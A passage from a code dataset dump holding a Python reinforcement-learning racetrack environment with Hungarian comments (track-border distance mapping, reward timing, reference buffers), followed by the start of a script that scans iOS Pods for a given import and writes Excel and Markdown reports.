vissza(true)\n A t2 az az ertek ami mgmondja hogy a Spd vektor hanyadánál metszi az adott szakaszhatart. Ha t2 = 1 akkor a Spd\n vektor eppenhogy eleri a celvonalat.\n\n Ezt az egeszet nezi a kornyezet, azaz a palya definialasakor kapott osszes szakaszra (sectionlist) Ha a\n pillanatnyi pos-bol huzott spd barmely section-t jelzo szakaszt metszi, visszaadja hogy:\n crosses = True, azaz hogy tortent szakasz metszes.\n t2 = annyi amennyi, azaz hogy spd hanyadanal metszette\n section_nr = ahanyadik szakaszt metszettuk epp.\n \"\"\"\n \"\"\"\n keplethez kello idediglenes ertekek. p1, es p2 pontokkal valamint v1 es v2 iranyvektorokkal adott egyenesek metszespontjat\n nezzuk, ugy hogy a celvonal egyik pontjabol a masikba mutat a v1, a v2 pedig a sebesseg, p2pedig a pozicio\n \"\"\"\n section_nr = 0\n t2 = 0\n ret_t2 = 0\n sc_cross = False\n start, start_t2 = self.check_if_crossed(pos, spd, self.start_line)\n end, end_t2 = self.check_if_crossed(pos, spd, self.end_line)\n\n # ha vannak belso szekciok\n if self.sections != []:\n for i in range(self.sections.size[0]):\n sc_cross, sc_t2 = self.check_if_crossed(pos, spd, self.start_line)\n if sc_cross:\n section_nr = i\n ret_t2 = t2\n\n crosses = start or end or sc_cross\n\n # nem teljesen jo ha tobb mindent atszakit, de azt nem hasznaljuk meg\n if end:\n ret_t2 = end_t2\n elif start:\n ret_t2 = start_t2\n\n return crosses, ret_t2, section_nr, start, end\n\n def normalize_data(self, data_orig):\n \"\"\"\n a háló könnyebben, tanul, ha az értékek +-1 közé esnek, ezért normalizáljuk őket\n pozícióból kivonjuk a pálya méretének a felét, majd elosztjuk a pálya méretével\n \"\"\"\n\n n_rows = data_orig.shape[0]\n data = np.zeros((n_rows, 4))\n sizeX = np.shape(self.trk_pic)[1]\n sizeY = np.shape(self.trk_pic)[0]\n data[:, 0] = (data_orig[:, 0] - sizeX / 2) / sizeX\n data[:, 2] = (data_orig[:, 2] - sizeX / 2) / sizeX\n data[:, 1] = (data_orig[:, 1] - sizeY / 2) / sizeY\n data[:, 3] = (data_orig[:, 3] - sizeY / 2) / sizeY\n\n return data\n\n def pixel_in_track(self, x, y, color):\n if self.trk[x, y] == color:\n # inside colored pixel found\n return np.array(x, y)\n else:\n return False\n\n\n def get_pos_ref_on_side(self, position):\n # https://codereview.stackexchange.com/questions/28207/finding-the-closest-point-to-a-list-of-points\n # from scipy.spatial.distance import cdist\n # cdist(XA, XB, metric='euclidean', p=2, V=None, VI=None, w=None)\n\n # ha a posiciot mar egyszer kiszamoltuk\n curr_dist_in = cdist([position], self.dists_in_pos).argmin()\n pos_in = self.dists_in_pos[curr_dist_in]\n\n curr_dist_out = cdist([position], self.dists_out_pos).argmin()\n pos_out = self.dists_out_pos[curr_dist_out]\n\n return curr_dist_in, pos_in, curr_dist_out, pos_out\n\n # TODO it is very slow\n # TODO it is used many times\n # there is a better way\n # https://stackoverflow.com/questions/307445/finding-closest-non-black-pixel-in-an-image-fast\n def get_pos_ref_on_side_old(self, position):\n starttime = time.time()\n\n \"\"\"Ref adatokat ado fuggveny.\n posision csak palyan levo pont lehet, ha enm akkor hibat fog adni.\n Nincs vizsgálat erre\n Input tehat:\n position: a palya egy adott pontja\n\n Output:\n belso iv menten megtett ut,kulso iv menten megtett ut, belso iv referencia pontja, es kulso iv ref pontja\"\"\"\n\n # ha a posiciot mar egyszer kiszamoltuk\n if tuple(position) in self.ref_buffer:\n curr_dist_in, pos_in, curr_dist_out, pos_out = self.ref_buffer[tuple(position)]\n return curr_dist_in, pos_in, curr_dist_out, pos_out\n\n # az algoritmus működik, hogy az aktuális pozícióban egyre nagyobb négyzetet rajzol, aminek a pixelein végig\n # végig megy ezt addig csinálja amíg nem talál egyet és a talált pont távolságánál 2 szer nagyobb a szélesség\n #\n # akkor azt a pixelt kikeresi a dist_dict-ből, majd megnezi ehhez mennyi a ref sebesseggel mennyi ido\n # jar\n\n # konvertálás -> np array\n posisiton_np = np.array(position, dtype='int32')\n\n # pos_new-el egy vonalban levo belso pont meghatarozasa---------\n # tmp_in = [0]\n inside_pixels = []\n inside_pixel_distances = []\n outside_pixels = []\n outside_pixel_distances = []\n # this is the box edge distance from the pixel\n scan_dist = 0\n search_succesful = False\n search_terminated = False\n top_edge_reached = False\n bottom_edge_reached = False\n right_edge_reached = False\n left_edge_reached = False\n\n best_inside_pixel_found = False\n best_outside_pixel_found = False\n\n while ((not search_succesful) and (not search_terminated)):\n scan_dist = scan_dist + 1 # növeljük a boxot\n left_edge = int(position[0]) - scan_dist\n right_edge = int(position[0]) + scan_dist\n top_edge = int(position[1]) - scan_dist\n bottom_edge = int(position[1]) + scan_dist\n\n # if an edge is reached we wont search there, because tahat pixels doesn exist\n # and edges are modified (max or min) to work in other edge search\n if left_edge < 0:\n left_edge_reached = True\n left_edge = 0\n if right_edge >= self.trk.shape[1]:\n right_edge_reached = True\n right_edge = self.trk.shape[1]- 1\n if top_edge < 0:\n top_edge_reached = True\n top_edge = 0\n if bottom_edge >= self.trk.shape[0]:\n bottom_edge_reached = True\n bottom_edge = self.trk.shape[0] - 1\n\n # all edge is reached search is terminated\n if (left_edge_reached and right_edge_reached and top_edge_reached and bottom_edge_reached):\n search_terminated = True\n\n # left edge pixel column\n if not left_edge_reached:\n for i in range(top_edge, bottom_edge):\n # inside colored pixel found\n if self.trk[i, left_edge] == self.col_in:\n inside_pixels.append([left_edge, i])\n inside_pixel_distances.append(sqrt((left_edge - position[0])**2 + (i - position[1])**2))\n # outside colored pixel found\n if self.trk[i, left_edge] == self.col_out:\n outside_pixels.append([left_edge, i])\n outside_pixel_distances.append(sqrt((left_edge - position[0])**2 + (i - position[1])**2))\n\n # right edge pixel column\n if not right_edge_reached:\n for i in range(top_edge, bottom_edge):\n # inside colored pixel found\n if self.trk[i, right_edge] == self.col_in:\n inside_pixels.append([right_edge, i])\n inside_pixel_distances.append(sqrt((right_edge - position[0])**2 + (i - position[1])**2))\n # outside colored pixel found\n if self.trk[i, right_edge] == self.col_out:\n outside_pixels.append([right_edge, i])\n outside_pixel_distances.append(sqrt((right_edge - position[0])**2 + (i - position[1])**2))\n\n # top edge pixel row\n if not top_edge_reached:\n for i in range(left_edge, right_edge):\n # inside colored pixel found\n if self.trk[top_edge, i] == self.col_in:\n inside_pixels.append([i, top_edge])\n inside_pixel_distances.append(sqrt((i - position[0])**2 + (top_edge - position[1])**2))\n # outside colored pixel found\n if self.trk[top_edge, i] == self.col_out:\n outside_pixels.append([i, top_edge])\n outside_pixel_distances.append(sqrt((i - position[0])**2 + (top_edge - position[1])**2))\n\n # bottom edge pixel row\n if not bottom_edge_reached:\n for i in range(left_edge, right_edge):\n # inside colored pixel found\n if self.trk[bottom_edge, i] == self.col_in:\n inside_pixels.append([i, bottom_edge])\n inside_pixel_distances.append(sqrt((i - position[0])**2 + (bottom_edge - position[1])**2))\n # outside colored pixel found\n if self.trk[bottom_edge, i] == self.col_out:\n outside_pixels.append([i, bottom_edge])\n outside_pixel_distances.append(sqrt((i - position[0])**2 + (bottom_edge - position[1])**2))\n\n # all pixels investigated on perimeter\n\n #best inside track pixel is reached\n if len(inside_pixels) > 0:\n if min(inside_pixel_distances) < scan_dist:\n best_inside_pixel_found = True\n pos_in = inside_pixels[inside_pixel_distances.index(min(inside_pixel_distances))]\n #best outside track edge is reached\n if len(outside_pixels) > 0:\n if min(outside_pixel_distances) < scan_dist:\n best_outside_pixel_found = True\n pos_out = outside_pixels[outside_pixel_distances.index(min(outside_pixel_distances))]\n\n # check if goal is reached\n if best_inside_pixel_found and best_outside_pixel_found == True:\n search_succesful = True\n # end of while -> pixel search\n\n # A kapott belso es kulso pontokrol megnezni milyen messze vannak a starttol:--------------------------\n\n # Ha kozel vagyunk a falhoz, 1 sugaru r adodik, es egy pixelnyivel mindig pont mas key-t ker mint ami letezik.\n # Ezt elkerulendo, megnezzuk hogy amivel meg akarjuk hivni az valoban benne van-e a dictekben.\n # tehat ha a dict-ek tartalmazzak pos_in es pos_out-ot:\n if tuple(pos_in) in self.dists_in and tuple(pos_out) in self.dists_out:\n curr_dist_in = self.dists_in[tuple(pos_in)] # a dist_dict-ből lekérjük a start-tól való távolságát\n curr_dist_out = self.dists_out[tuple(pos_out)] # a dist_dict-ből lekérjük a start-tól való távolságát\n else:\n raise Exception(pos_in, pos_out, 'out of track, no border found error')\n\n # rakjuk el a bufferba\n self.ref_buffer[tuple(position)] = [curr_dist_in, pos_in, curr_dist_out, pos_out]\n self.ref_buffer_unsaved += 1\n # save env ref buffer if 1000 new reference exists\n if self.ref_buffer_unsaved >= 1000:\n self.ref_buffer_unsave = 0\n self.ref_buffer_save()\n self.log('dists: ' + str(starttime -time.time()), \"debug\")\n return curr_dist_in, pos_in, curr_dist_out, pos_out\n\n def ref_buffer_save(self):\n\n file = open(self.ref_buffer_dir + '/' + self.ref_buffer_name, \"wb\")\n for key, value in self.ref_buffer.items():\n pickle.dump([key[0], key[1], value[0], value[1][0],value[1][1], value[2], value[3][0], value[3][1]], file)\n file.close()\n\n\n def ref_buffer_load(self, file_name='', load_all_dir = ''):\n try:\n # no directory is specified then load file with exect path\n if load_all_dir == '':\n self.ref_buffer_fill(file_name)\n # load all file in defined directory if specified\n else:\n for tmp_file_name in os.listdir(load_all_dir):\n self.ref_buffer_fill(load_all_dir + '/' + tmp_file_name)\n except:\n self.log('wrong file name or directory', \"debug\")\n\n def ref_buffer_fill(self, file_name):\n try:\n with open(file_name, 'rb') as file:\n while True:\n obj = pickle.load(file)\n if (not obj):\n break\n key = [int(obj[0]), int(obj[1])]\n value = [obj[2], [obj[3], obj[4]], obj[5], [obj[6], obj[7]]]\n self.ref_buffer[tuple(key)] = value\n except:\n # no ref buffer\n pass\n \"\"\"\n def get_reward(self, pos_old, pos_new, step_nr):\n \"\"Reard ado fuggveny. Egy adott lepeshez (pos_old - pos new) ad jutalmat. Eredetileg az volt hogy -1 azaz mint\n mint eltelt idő. Most megnezzuk mivan ha egy referencia lepessorhoz kepest a nyert vagy veszetett ido lesz.\n kb. mint a delta_time channel a MOTEC-ben\"\"\n\n # Fent az env initbe kell egy referencia lepessor. Actionok, egy vektorban...vagy akarhogy.\n # Az Actionokhoz tudjuk a pos-okat minden lepesben\n # Es tudjuk a dist_in es dist_outokat is minden lepeshez (a lepes egy timestep elvileg)\n # A fentiek alapjan pl.:Look-up table szeruen tudunk barmilyen dist-hez lepest (idot) rendelni\n\n # Megnezzuk hogy a pos_old es a pos_new milyen dist_old es dist_new-hez tartozik (in vagy out, vagy atlag...)\n\n # Ehez a dist_old es dist new-hoz megnezzuk hogy a referencia lepessor mennyi ido alatt jutott el ezek lesznek\n # step_old es step_new.\n\n # A step_old es step_new kulonbsege azt adja hogy azt a tavot, szakaszt, amit a jelenlegi pos_old, pos_new\n # megad, azt a ref lepessor, mennyi ido tette meg. A jelenlegi az 1 ido, hiszen egy lepes. A ketto kulonbsege\n # adja majd pillanatnyi rewardot.\n\n\n\n return reward\n \"\"\"\n\n def get_time_diff(self, pos_old, pos_new, act_rew):\n \"\"\"Reward ado fuggveny. Egy adott lepeshez (pos_old - pos new) ad jutalmat. Eredetileg az volt hogy -1 azaz mint\n mint eltelt idő. Most megnezzuk mivan ha egy referencia lepessorhoz kepest a nyert vagy veszetett ido lesz.\n kb. mint a delta_time channel a MOTEC-ben\n\n pre_dist_in, az aktualis lepessor, elozo pozicio belso iv menti tavolsaga,\n curr_dist_in, az aktualis lepessor, jelenlegi pozicio belso iv menti tavolsaga\n act_rew: az aktualis lepessor mennyi ido alatt ert e tavolsagok kozott\n\n visszater a rew_dt, ami azt adja, hogy a referencia lepessorhoz kepest ez mennyivel tobb ido\"\"\"\n\n # amennyi ido (lepes) alatt a ref_actionok, a pre_dist-ből a curr_dist-be eljutottak--------------------------\n # look-up szerűen lesz. Először a bemenetek:\n x = self.ref_dist\n y = self.ref_steps\n\n xvals = np.array([self.prev_dist_in, self.curr_dist_in])\n # print(\"elozo es aktualis tav:\", xvals)\n\n # ezekre a tavolsagokra a referencia lepessor ennyi ido alaptt jutott el\n yinterp = np.interp(xvals, self.ref_dist, self.ref_steps, 0)\n # print(\"ref ennyi ido alatt jutott ezekre:\", yinterp)\n\n # tehat ezt a negyasau lepest a referencia ennyi ido alatt tette meg ugyanezt a palya tavot(- legyen, hogy a kisebb ido legyen a magasabb\n # reward) :\n ref_step_time = yinterp[1] - yinterp[0]\n # print(\"a ref. ezen lepesnyi ideje:\", ref_delta)\n\n # az atualis lepesben az eltelt ido nyilvan -1, illetve ha ido-bunti van akkor ennel tobb, eppen a reward\n # print(\"elozo es aktualis lepes kozott eltelt ido:\", act_rew)\n\n # amenyivel az aktualis ebben a lepesben jobb, azaz kevesebb ido alatt tette meg ezt a elmozdulat, mint a ref\n # lepessor, az:\n # ha jobb mint a referencia akkor pozitiv,\n rew_dt = ref_step_time - act_rew\n #print(\"az aktualis, ebben a lepesben megtett tavot ennyivel kevesebb ido alatt tette meg mint a ref. (ha (-) akkor meg több):\", rew_dt)\n # a kieses helyetol a ref lepessorral, hatra levo ido:\n remain_time = self.ref_steps[-1] - yinterp[1]\n\n return rew_dt, remain_time\n\n def calc_last_point(self, pos_old, pos_new):\n # a sebessegvektor iranyaban egyre nagyobb vektorral vizsgalja, hogy mar kint van-e\n # ha igen az utolso elotti lepes meg bent van ezzel a posicioval ter vissza\n\n tmp_dist = 1.0\n v_x = float(pos_new[0] - pos_old[0])\n v_y = float(pos_new[1] - pos_old[1])\n v_abs = sqrt(v_x ** 2 + v_y ** 2)\n dist_x = 0\n dist_y = 0\n while tmp_dist < v_abs:\n dist_x = int(tmp_dist * v_x / v_abs)\n dist_y = int(tmp_dist * v_y / v_abs)\n ontrack, inside, outside = self.is_on_track(np.array([pos_old[0] + dist_x, pos_old[1] + dist_y]))\n if (ontrack is False):\n break\n tmp_dist += 1.0\n # az egyel korabbi tavolsag ertekhez tartozo lesz meg belül\n tmp_dist -= 1.0\n try:\n dist_x = int(tmp_dist * v_x / v_abs)\n dist_y = int(tmp_dist * v_y / v_abs)\n except:\n self.log('track side calculation error', \"debug\")\n dist_x = 0\n dist_y = 0\n\n # ez az utolso palyan levo pozicio\n last_pos = np.array([pos_old[0] + dist_x, pos_old[1] + dist_y])\n return last_pos\n\n def __get_ref_dicts(self, ref_actions):\n\n # Fent az env initbe kell egy referencia lepessor. Actionok, egy vektorban...vagy akarhogy.\n # Az Actionokhoz tudjuk a pos-okat minden lepesben\n\n steps_nr = range(0, len(ref_actions))\n\n ref_steps = np.zeros(len(ref_actions) + 1)\n ref_dist = np.zeros(len(ref_actions) + 1)\n\n\n self.draw_clear()\n self.draw_track()\n\n for i in steps_nr:\n #nye = input('Give input')\n action = self.ref_actions[i]\n v_new, pos_new, step_reward, reward = self.step(action, draw=True, draw_text='')\n curr_dist_in, pos_in, curr_dist_out, pos_out = self.get_pos_ref_on_side(pos_new)\n ref_dist[i + 1] = curr_dist_in\n ref_steps[i + 1] = self.game_time\n\n self.log(ref_dist, \"debug\")\n self.log(ref_steps, \"debug\")\n\n return ref_dist, ref_steps\n\n def __get_dists_in(self, draw=False):\n \"\"\"\n \"feltérképezi\" a pályát a reward fv-hez\n a start pontban addig növel egy korongot, amíg a korong a pálya egy belső pixelét (piros) nem fedi\n ekkor végigmegy a belső rész szélén és eltárolja a távolságokat a kezdőponttól úgy,\n hogy közvetlenül a pálya széle mellett menjen\n úgy kell elképzelni, mint a labirintusban a falkövető szabályt\n\n :return: dictionary, ami (pálya belső pontja, távolság) párokat tartalmaz\n \"\"\"\n\n dist_dict_in = {} # dictionary, (pálya belső pontja, távolság) párokat tartalmaz\n dist_points = []\n # a generalashoz a start pozicio alapbol startvonal kozepe lenne. De valahogy a startvonal kozeleben a dist az\n # szar tud lenni ezert az algoritmus kezdo pontjat a startvonal kicsit visszabbra tesszuk.\n #\n start_point = np.array([self.start_x, self.start_y]) - np.array([int(self.e_start_spd[0] * 10), int(self.e_start_spd[1] * 10)])\n #trk = rgb2gray(self.trk_pic) # szürkeárnyalatosban dolgozunk\n #col_in = rgb2gray(np.reshape(np.array(self.track_inside_color), (1, 1, 3)))[0, 0]\n tmp = [0]\n r = 0 # a korong sugarát 0-ra állítjuk\n while not np.any(tmp): # amíg nincs belső pont fedésünk\n r = r + 1 # növeljük a sugarat\n mask = disk(r) # létrehozzuk a korongot (egy mátrixban 0-ák és egyesek)\n tmp = self.trk[start_point[1] - r:start_point[1] + r + 1, start_point[0] - r:start_point[0] + r + 1] # kivágunk\n # a képből egy kezdőpont kp-ú, ugyanekkora részt\n tmp = np.multiply(mask, tmp) # maszkoljuk a koronggal\n tmp[tmp != self.col_in] = 0 # a kororngon ami nem piros azt 0-ázzuk\n\n indices = [p[0] for p in np.nonzero(tmp)] #az első olyan pixel koordinátái, ami piros\n offset = [indices[1] - r, indices[0] - r] # eltoljuk, hogy a kp-tól megkapjuk a relatív távolságvektorát\n # (a mátrixban ugye a kp nem (0, 0) (easter egg bagoly) indexű, hanem középen van a sugáral le és jobbra eltolva)\n start_point = np.array(start_point + offset) # majd a kp-hoz hozzáadva megkapjuk a képen a pozícióját az első referenciapontnak\n dist = 0\n dist_dict_in[tuple(start_point)] = dist # ennek 0 a távolsága a kp-tól\n JOBB, FEL, BAL, LE = [1, 0], [0, -1], [-1, 0], [0, 1] # [x, y], tehát a mátrix indexelésekor fordítva, de a pozícióhoz hozzáadható azonnal\n dirs = [JOBB, FEL, BAL, LE]\n direction_idx = 0\n point = start_point\n if draw:\n self.draw_track()\n while True:\n dist += 1 # a távolságot növeli 1-gyel\n bal_ford = dirs[(direction_idx + 1) % 4] # a balra lévő pixel eléréséhez\n jobb_ford = dirs[(direction_idx - 1) % 4] # a jobbra lévő pixel eléréséhez\n if self.trk[point[1] + bal_ford[1], point[0] + bal_ford[0]] == self.col_in: # ha a tőlünk balra lévő pixel piros\n direction_idx = (direction_idx + 1) % 4 # akkor elfordulunk balra\n point = point + bal_ford\n elif self.trk[point[1] + dirs[direction_idx][1], point[0] + dirs[direction_idx][0]] == self.col_in: # ha az előttünk lévő pixel piros\n point = point + dirs[direction_idx] # akkor arra megyünk tovább\n else:\n direction_idx = (direction_idx - 1) % 4 # különben jobbra fordulunk\n point = point + jobb_ford\n\n dist_dict_in[tuple(point)] = dist # a pontot belerakjuk a dictionarybe\n dist_points.append(point)\n\n if draw:\n self.draw_section([point[0]], [point[1]], 'y')\n\n if np.array_equal(point, start_point): # ha visszaértünk az elejére, akkor leállunk\n break\n\n return dist_dict_in, dist_points\n\n def __get_dists_out(self, draw=False):\n \"\"\"\n \"feltérképezi\" a pályát a reward fv-hez\n a start pontban addig növel egy korongot, amíg a korong a pálya egy belső pixelét (piros) nem fedi\n ekkor végigmegy a belső rész szélén és eltárolja a távolságokat a kezdőponttól úgy,\n hogy közvetlenül a pálya széle mellett menjen\n úgy kell elképzelni, mint a labirintusban a falkövető szabályt\n\n :return: dictionary, ami (pálya belső pontja, távolság) párokat tartalmaz\n \"\"\"\n\n dist_dict_out = {} # dictionary, (pálya külső pontja, távolság) párokat tartalmaz\n dist_points = []\n # a generalashoz a start pozicio alapbol startvonal kozepe lenne. De valahogy a startvonal kozeleben a dist az\n # szar tud lenni ezert az algoritmus kezdo pontjat a startvonal kicsit visszabbra tesszuk.\n # (TODO: megerteni miert szarakodik a dist, es kijavitani)\n start_point = np.array([self.start_x, self.start_y])\n #- np.array([int(self.e_start_spd[0] * 10), int(self.e_start_spd[1] * 10)])\n #trk = rgb2gray(self.trk_pic) # szürkeárnyalatosban dolgozunk\n #col_out = rgb2gray(np.reshape(np.array(self.track_outside_color), (1, 1, 3)))[0, 0]\n tmp = [0]\n r = 0 # a korong sugarát 0-ra állítjuk\n while not np.any(tmp): # amíg nincs belső pont fedésünk\n r = r + 1 # növeljük a sugarat\n mask = disk(r) # létrehozzuk a korongot (egy mátrixban 0-ák és egyesek)\n tmp = self.trk[start_point[1] - r:start_point[1] + r + 1, start_point[0] - r:start_point[0] + r + 1] # kivágunk\n # a képből egy kezdőpont kp-ú, ugyanekkora részt\n tmp = np.multiply(mask, tmp) # maszkoljuk a koronggal\n #???? con_in-nek kellene lennie\n tmp[tmp != self.col_out] = 0 # a kororngon ami nem piros azt 0-ázzuk\n\n indices = [p[0] for p in np.nonzero(tmp)] #az első olyan pixel koordinátái, ami piros\n offset = [indices[1] - r, indices[0] - r] # eltoljuk, hogy a kp-tól megkapjuk a relatív távolságvektorát\n # (a mátrixban ugye a kp nem (0, 0) (easter egg bagoly) indexű, hanem középen van a sugáral le és jobbra eltolva)\n start_point = np.array(start_point + offset) # majd a kp-hoz hozzáadva megkapjuk a képen a pozícióját az első referenciapontnak\n dist = 0\n dist_dict_out[tuple(start_point)] = dist # ennek 0 a távolsága a kp-tól\n JOBB, FEL, BAL, LE = [1, 0], [0, -1], [-1, 0], [0, 1] # [x, y], tehát a mátrix indexelésekor fordítva, de a pozícióhoz hozzáadható azonnal\n\n # INNENTOL KEZDVE A LENTI KOMMENTEK SZAROK!!! A KULSO IVEN MAS \"FORGASIRANY\" SZERINT KELL KORBEMENNI EZERT MEG\n # VANNAK MASITVA A dirs-benAZ IRANYOK SORRENDJE A __get_dist_in-hez kepest!!!\n dirs = [JOBB, LE, BAL, FEL]\n direction_idx = 0\n point = start_point\n if draw:\n self.draw_track()\n while True:\n dist += 1 # a távolságot növeli 1-gyel\n bal_ford = dirs[(direction_idx - 1) % 4] # a balra lévő pixel eléréséhez\n jobb_ford = dirs[(direction_idx + 1) % 4] # a jobbra lévő pixel eléréséhez\n if self.trk[point[1] + jobb_ford[1], point[0] + jobb_ford[0]] == self.col_out: # ha a tőlünk jobbra lévő pixel fehér\n direction_idx = (direction_idx + 1) % 4 # akkor elfordulunk jobbra\n point = point + jobb_ford\n elif self.trk[point[1] + dirs[direction_idx][1], point[0] + dirs[direction_idx][0]] == self.col_out: # ha az előttünk lévő pixel fehér\n point = point + dirs[direction_idx] # akkor arra megyünk tovább\n else:\n direction_idx = (direction_idx - 1) % 4 # különben jobbra fordulunk\n point = point + bal_ford\n\n if draw:\n self.draw_section([point[0]], [point[1]], 'y')\n\n # ha visszaértünk az elejére, akkor leállunk\n if np.array_equal(point, start_point): # ha visszaértünk az elejére, akkor leállunk\n break\n # ha lemegyünk a képről akkor is leállunk\n if (point[0] < 0 or point[1] < 0 or point[0] >= self.trk.shape[1] or point[1] >= self.trk.shape[0]):\n break\n\n dist_dict_out[tuple(point)] = dist # a pontot belerakjuk a dictionarybe\n dist_points.append(point)\n\n return dist_dict_out, dist_points\n\n def clean(self):\n # self.ref_buffer_save()\n del self.ref_buffer\n del self.players\n\n def new_player(self, name, color):\n new = self.Player(name, color)\n self.players.append(new)\n\n class Player(object):\n def __init__(self, name = 'default', color = (0, 0, 1)):\n self.name = name\n self.color = color\n\n def get_reference_episode(self, episode, max_episodes):\n ep_for_exp = np.array([0, 0.005,\n 1.15, 1.25,\n 1.35, 1.45]) * int(max_episodes)\n\n # Minden sor szam pedig hogy abban a fentiekben megadott intervallumokban mennyiről mennyire csökkenjen a szórás.\n deviations = np.array([0, 5,\n 10, 0,\n 20, 0])\n\n ref_episode = (episode in range(int(ep_for_exp[0]), int(ep_for_exp[1]))) or (\n episode in range(int(ep_for_exp[2]), int(ep_for_exp[3]))) or (\n episode in range(int(ep_for_exp[4]), int(ep_for_exp[5])))\n\n # a random lepesekhez a szoras:\n deviation = np.interp(episode, ep_for_exp, deviations)\n\n if ref_episode:\n actions, actions_size = self.get_steps_with_reference(deviation)\n else:\n actions = []\n actions_size = 0\n\n return ref_episode, actions, actions_size\n\n @staticmethod\n def get_ref_step(step, max_steps, reference_steps, reference_step_size):\n # ha nem ért még véget az epizod, de mar a ref lepessor vege, akkor random lepkedunk\n if step < reference_step_size:\n a = reference_steps[step]\n player = 'reference'\n else:\n player = 'random'\n a = int(np.random.uniform(-180, 180, 1))\n\n # return int and string\n return a, player\n\n def get_steps_with_reference(self, step_count_from_start = 0):\n # if null it will be random\n\n # az emberi lepessorok kozul valasszunk egyet veletlenszeruen mint aktualis epizod lepessor:\n curr_ref_actions = self.get_random_ref_actions()\n size_curr_ref_actions = len(curr_ref_actions)\n\n if step_count_from_start == 0:\n actions_size = int(np.random.uniform(0, size_curr_ref_actions, 1))\n else:\n actions_size = min(abs(step_count_from_start), size_curr_ref_actions)\n\n actions = []\n for i in range(actions_size):\n actions.append(curr_ref_actions[i])\n\n return actions, actions_size\n\n def log(self, s, logging = \"debug\", now = False):\n tmp = \"\"\n if logging == \"game\" and Config.logging_game is True:\n tmp = s\n elif logging == \"step\" and Config.logging_step is True:\n tmp = s\n elif logging == \"debug\" and Config.logging_debug is True:\n tmp = s\n\n if now:\n for i in self.log_list:\n print(i + \" \", end = \"\")\n self.log_list.clear()\n if tmp != \"\":\n print(tmp)\n else:\n self.log_list.append(tmp)\n","sub_path":"ga3c/pyper_env.py","file_name":"pyper_env.py","file_ext":"py","file_size_in_byte":54662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"407824452","text":"# -*- coding: UTF-8 -*-\n\nimport os\nimport re\nimport xlwt\nfrom os import path\nfrom pyecharts import Graph\nfrom pyecharts import Tree\n\n#const\n#targetFilesPath='/Users/zhangjun/ProjectsTemp/ModelsScan/DYModels/'\nallPodsPath='/Users/zhangjun/Projects/douyu/Pods/'\n\n#global\n#targetFiles=[]\nallPods={}\nallTargetPods=[]\n\n# class File:\n\n# def __init__(self):\n# self.name=''\n# self.reliedPod=[]\n# self.reliedFiles=[]\n# self.mText=''\n\nclass Pod:\n\n def __init__(self):\n self.name=''\n self.reliedFiles=[]\n self.reliedFilesCountDic={}\n\ndef beginAnalyze():\n\n # if not os.path.exists(targetFilesPath):\n # print('targetFilesPath not exists')\n # return\n\n if not os.path.exists(allPodsPath):\n print('allPodsPath')\n return\n\n # visitTargetFile(targetFilesPath)\n\n # innerRely()\n \n visitPods(allPodsPath)\n\n #excel()\n\n #markdown()\n\n #graph()\n\n #tree()\n\n\ndef visitTargetFile(path):\n\n global targetFiles\n\n if path.endswith('.h') and os.path.isfile(path):\n openFile=open(path)\n for line in openFile:\n if '@interface' in line:\n if ':' in line:\n derivedArray=line.split(':')\n son=derivedArray[0]\n son=son.replace('@interface', '')\n son=son.replace(' ', '')\n son=son.replace('\\n', '')\n \n file=File()\n file.name=son\n\n targetFiles.append(file)\n openFile.close()\n try:\n mPath=path.replace('.h', '.m')\n if os.path.isfile(mPath):\n openFile=open(path)\n file.mText=openFile.read()\n openFile.close()\n\n except :\n pass\n \n elif os.path.isdir(path):\n for lists in os.listdir(path):\n subPath=os.path.join(path, lists)\n visitTargetFile(subPath)\n\ndef innerRely():\n\n global targetFiles\n\n for file1 in targetFiles:\n for file2 in targetFiles:\n if file2.name != file1.name and file2.name in file1.mText and not file1 in file2.reliedFiles:\n file2.reliedFiles.append(file1)\n\n\ndef visitPods(path):\n\n global allPods\n global allTargetPods\n\n if (path.endswith('.m') | path.endswith('.h')) and os.path.isfile(path):\n regex=allPodsPath + '.*?(?=/)'\n regexList=re.findall(regex, path)\n if len(regexList) == 1:\n delPath=regexList[0]\n podName=delPath.replace(allPodsPath, '')\n pod=allPods[podName]\n if pod:\n openFile=open(path)\n fileText=openFile.read()\n if '\\n#import \"InterfaceManager' in fileText:\n allTargetPods.append(pod)\n print(pod.name)\n # for file in targetFiles:\n # if not file in pod.reliedFiles:\n # if file.name in fileText:\n # file.reliedPod.append(pod)\n # pod.reliedFiles.append(file)\n # pod.reliedFilesCountDic[file.name]=1\n # else:\n # pod.reliedFilesCountDic[file.name]=pod.reliedFilesCountDic[file.name] + 1\n\n openFile.close()\n\n elif os.path.isdir(path):\n podName=path.replace(allPodsPath, '')\n if not '/' in podName:\n pod=Pod()\n pod.name=podName\n allPods[podName]=pod\n #print('scan: ' + podName + '...')\n for lists in os.listdir(path):\n subPath=os.path.join(path, lists)\n visitPods(subPath)\n\ndef excel():\n\n excel=xlwt.Workbook(encoding='utf-8', style_compression=0)\n sheet =excel.add_sheet('files', cell_overwrite_ok=True)\n \n sheet.write(0, 0, '文件')\n sheet.write(0, 1, 'Pod使用数')\n sheet.write(0, 2, 'Pod列表')\n sheet.write(0, 3, '内部依赖数')\n sheet.write(0, 4, '内部依赖')\n\n line=1\n for targetFile in targetFiles:\n sheet.write(line, 0, targetFile.name)\n sheet.write(line, 1, len(targetFile.reliedPod))\n reliedPodNameList=[i.name + ':' + str(i.reliedFilesCountDic[targetFile.name]) for i in targetFile.reliedPod]\n sheet.write(line, 2, ','.join(reliedPodNameList))\n reliedFilesNameList=[i.name for i in targetFile.reliedFiles]\n sheet.write(line, 3, len(reliedFilesNameList))\n sheet.write(line, 4, ','.join(reliedFilesNameList))\n line=line + 1\n\n currentPath=path.dirname(__file__)\n writePath=currentPath + '/result.xls'\n excel.save(writePath)\n\ndef markdown():\n\n currentPath=path.dirname(__file__)\n writePath=currentPath + '/result.md'\n\n sortedTargetFiles = sorted(targetFiles, key=lambda targetFile: len(targetFile.reliedPod), reverse = True)\n\n f = open('result.md', 'w')\n f.write('## 总体\\n\\n')\n f.write('|文件|Pod使用数|内部依赖数|\\n|---|---|---|\\n')\n for targetFile in sortedTargetFiles:\n linkName='[' + targetFile.name + '](#' + targetFile.name + ')'\n f.write('|' + linkName + '|' + str(len(targetFile.reliedPod)) + '|' + str(len(targetFile.reliedFiles)) + '|\\n')\n \n f.write('\\n')\n f.write('共计' + str(len(sortedTargetFiles)) + '个文件\\n')\n f.write('\\n')\n\n f.write('## 详情\\n\\n')\n for targetFile in sortedTargetFiles:\n f.write('### ' + 